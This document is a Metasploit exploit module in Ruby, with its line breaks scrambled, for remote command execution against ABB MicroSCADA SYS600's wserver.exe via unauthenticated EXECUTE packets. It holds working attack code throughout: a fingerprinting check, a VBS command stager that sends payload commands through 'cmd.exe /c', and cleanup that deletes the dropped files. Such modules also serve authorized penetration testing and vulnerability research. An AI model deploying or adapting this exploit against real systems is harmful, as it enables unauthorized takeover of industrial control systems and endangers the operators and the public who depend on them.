##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStagerVBS
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'ABB MicroSCADA wserver.exe Remote Code Execution'
,
'Description'
=> %q{
This
module
exploits a remote stack buffer overflow vulnerability
in
ABB
MicroSCADA. The
issue is due to the handling of unauthenticated
EXECUTE
operations on the wserver.exe
component, which allows arbitrary commands. The component is disabled by default, but
required
when
a project uses the
SCIL
function
WORKSTATION_CALL
.
This
module
has been tested successfully on
ABB
MicroSCADA Pro
SYS600
9
.
3
over
Windows
XP
SP3
and
Windows
7
SP1
.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'Brian Gorenc'
,
# Original discovery
'juan vazquez'
# Metasploit module
],
'References'
=>
[
[
'OSVDB'
,
'100324'
],
[
'ZDI'
,
'13-270'
],
[
'URL'
,
'http://www05.abb.com/global/scot/scot229.nsf/veritydisplay/41ccfa8ccd0431e6c1257c1200395574/$file/ABB_SoftwareVulnerabilityHandlingAdvisory_ABB-VU-PSAC-1MRS235805.pdf'
]
],
'Platform'
=>
'win'
,
'Arch'
=>
ARCH_X86
,
'DefaultOptions'
=>
{
'WfsDelay'
=>
5
},
'Targets'
=>
[
[
'ABB MicroSCADA Pro SYS600 9.3'
, { } ]
],
'DefaultTarget'
=>
0
,
'Privileged'
=>
false
,
'DisclosureDate'
=>
'Apr 05 2013'
))
register_options([Opt::
RPORT
(
12221
)],
self
.
class
)
end
def
check
# Send an EXECUTE packet without command, a valid response
# should include an error code, which is good enough to
# fingerprint.
op =
"EXECUTE\x00"
pkt_length = [
4
+ op.length].pack(
"V"
)
# 4 because of the packet length
pkt = pkt_length
pkt << op
connect
sock.put(pkt)
res = sock.get_once
disconnect
if
res
and
res.length ==
6
and
res[
0
,
2
].unpack(
"v"
)[
0
] ==
6
and
res[
2
,
4
].unpack(
"V"
)[
0
] == 0xe10001
return
Exploit::CheckCode::Vulnerable
end
return
Exploit::CheckCode::Safe
end
def
exploit
# More then 750 will trigger overflow...
# Cleaning is done by the exploit on execute_cmdstager_end
execute_cmdstager({
:linemax
=>
750
,
:nodelete
=>
true
})
end
def
execute_cmdstager_end(opts)
@var_tempdir
=
@stager_instance
.instance_variable_get(:
@tempdir
)
@var_decoded
=
@stager_instance
.instance_variable_get(:
@var_decoded
)
@var_encoded
=
@stager_instance
.instance_variable_get(:
@var_encoded
)
@var_decoder
=
@stager_instance
.instance_variable_get(:
@var_decoder
)
print_status(
"Trying to delete #{@var_tempdir}#{@var_encoded}.b64..."
)
execute_command(
"del #{@var_tempdir}#{@var_encoded}.b64"
, {})
print_status(
"Trying to delete #{@var_tempdir}#{@var_decoder}.vbs..."
)
execute_command(
"del #{@var_tempdir}#{@var_decoder}.vbs"
, {})
print_status(
"Trying to delete #{@var_tempdir}#{@var_decoded}.exe..."
)
execute_command(
"del #{@var_tempdir}#{@var_decoded}.exe"
, {})
end
def
execute_command(cmd, opts)
op =
"EXECUTE\x00"
command =
"cmd.exe /c #{cmd}"
pkt_length = [
4
+ op.length + command.length].pack(
"V"
)
# 4 because of the packet length
pkt = pkt_length
pkt << op
pkt << command
connect
sock.put(pkt)
res = sock.get_once
disconnect
unless
res
and
res.length ==
6
and
res[
0
,
2
].unpack(
"v"
)[
0
] ==
6
and
res[
2
,
4
].unpack(
"V"
)[
0
] ==
1
fail_with(Failure::UnexpectedReply,
"Unexpected reply while executing the cmdstager"
)
end
end
end